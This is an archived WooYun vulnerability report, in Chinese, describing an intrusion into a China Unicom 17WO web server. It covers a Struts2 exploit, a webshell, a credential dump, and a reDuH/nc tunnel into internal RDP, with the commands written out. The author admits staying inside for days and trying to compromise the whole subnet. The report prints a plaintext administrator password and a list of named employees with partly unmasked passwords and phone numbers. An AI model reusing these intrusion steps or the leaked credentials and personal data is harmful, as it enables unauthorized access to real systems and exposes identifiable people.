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缺陷编号：wooyun-2015-0109417

漏洞标题：看我如何进入17WO网站某后台并且拿下内网服务器

相关厂商：中国联通

漏洞作者： 金枪银矛小霸王

提交时间：2015-04-21 14:02

修复时间：2015-06-08 13:56

公开时间：2015-06-08 13:56

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-21： 细节已通知厂商并且等待厂商处理中
2015-04-24： 厂商已经确认，细节仅向厂商公开
2015-05-04： 细节向核心白帽子及相关领域专家公开
2015-05-14： 细节向普通白帽子公开
2015-05-24： 细节向实习白帽子公开
2015-06-08： 细节向公众公开

简要描述：

感谢 @scanf 兄弟。

详细说明：

说来也巧合的，你们联通一条短信就让我进去服务器。
一开始一条短信飞过来了

IMG_0385.PNG


唔~ 访问下。一眼过去感觉有Struts2漏洞，可惜主站没有，搜下二级域名
然后发现了这个

http://value.17wo.cn/resource/value17wo/LoginForm.action


L3Y@KO6XKN[OW1GOWCVMM1F.jpg


检测下。唔~这么老的洞还存在 struts2 05的

DADZ{CN@7~`)GCZSCCM~VT4.jpg


直接上传一句话，菜刀拿shell

A{KUD2@@YY(J{[C_{6LMCHF.jpg


查看下ip。原来是内网

Ethernet adapter 本地连接 2:
   Connection-specific DNS Suffix  . : 
   IP Address. . . . . . . . . . . . : 10.123.177.41
   Subnet Mask . . . . . . . . . . . : 255.255.255.224
   Default Gateway . . . . . . . . . : 10.123.177.35


然后使用getpass.exe获取到管理员的账号密码

UserName: Administrator
LogonDomain: WINCENTER
password: wincenter


尝试用lcx.exe进行转发，但是失败了。@scanf 发了我一个工具 reDuH ，不错
开始GUI一连就崩，然后改用jar包进行转发，用nc进行监听
上传xx.jsp转发文件

http://value.17wo.cn/Form/css/xx.jsp


本地执行执行java命令

>java -jar reduh.jar http://value.17wo.cn/Form/css/xx.jsp


再开启nc监听1010端口

nc -vv localhost 1010


再输入

[createTunnel]1234:127.0.0.1:3389


帮内网服务器的3389经过1010端口转发到1234端口
本机mstsc连接输入127.0.0.1:1234即可连入

315%B~`0T9{]T[)KWPWRAT9.jpg


一连撸了几天，本来打算把整个段入侵的，谁知道你们服务器不给力。一扫就宕机了。。
在桌面找到一份文件

"ID","USERNAME","PASSWORD","PHONE_NUMBER","NAME_CHS"
"41","ouyangxp","oy****","186**30233",""
"1","mlabs","Lihan****","18**31399","李韩"
"2","wangliang","wl****","","汪亮"
"3","wuyong","w***","1856**0415","吴勇"
"4","wenhui","wh1234","185***0410","文慧"
"5","dengrenguang","drg1234","185**0403","邓仁光"
"6","liyiling","l*****","1**555083","李艺玲"
"7","wujie","w*****","1852**5098","武杰"
"8","youjia","*****","1867**75","游嘉"
"9","zhangjunwei","z*****","18**4826227","张俊伟"
"10","hepeng","h********","1862**","何鹏"
"11","zhengwenqing","z***","","郑文清"
"12","zy","z***23**4","18***0498","zy"
"13","zhouqunjie","z*****4","1856**0498","周群杰"
"14","lihan","lh***4","18602***31399","李韩"
"15","fanronghui","frh****4","186**30278","范荣辉"
"16","kanglisheng","k****34","186***40","康立升"
"17","caibingfeng","cb*****","1316**0646","蔡炳锋"
"18","luojianxiong","l*****4","18666**048","罗剑雄"
"19","chenfangling","c****23*4","1862**49","陈芳玲"
"20","demo","un*****","",""
"21","jiangtao","*jt****","18602031756","江涛"
"22","caizhaochun","c****","","蔡召春"
"23","liuzhengbiao","lz****","","刘正标"
"24","wangshuai","ws****","","王帅"
"25","xuzhongbin","x****","","徐忠斌"
"26","zhengsi","zs1***4","","郑斯"
"27","longzhiyong","lz****234","","龙智勇"
"28","hexin","hx*****4","","何信"
"29","cuidongping","cdp1234","","崔东平"
"30","linmin","l*****4","","林敏"
"31","weierxi","w******34","","魏尔希"
"32","wangguanghao","w***g*****4","","王光昊"
"33","lihaiqi","l****","","李海琦"
"34","zouwenbin","zw*****4","","邹文斌"
"35","liudexiang","*******4","","刘德翔"
"36","xuwei","******4","","徐玮"
"37","wuhaixi","w********","","吴海西"
"38","chenchaowei","cc*****","","陈超巍"
"39","sumaojin","sm*****4","15*****1728",""
"40","fengyongxiong","f****34","1860******81",""


就这样你们懂的

漏洞证明：

315%B~`0T9{]T[)KWPWRAT9.jpg

修复方案：

升级

版权声明：转载请注明来源 金枪银矛小霸王@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-04-24 13:54

厂商回复：

CNVD未复现所述情况,已经转由CNCERT向中国联通集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无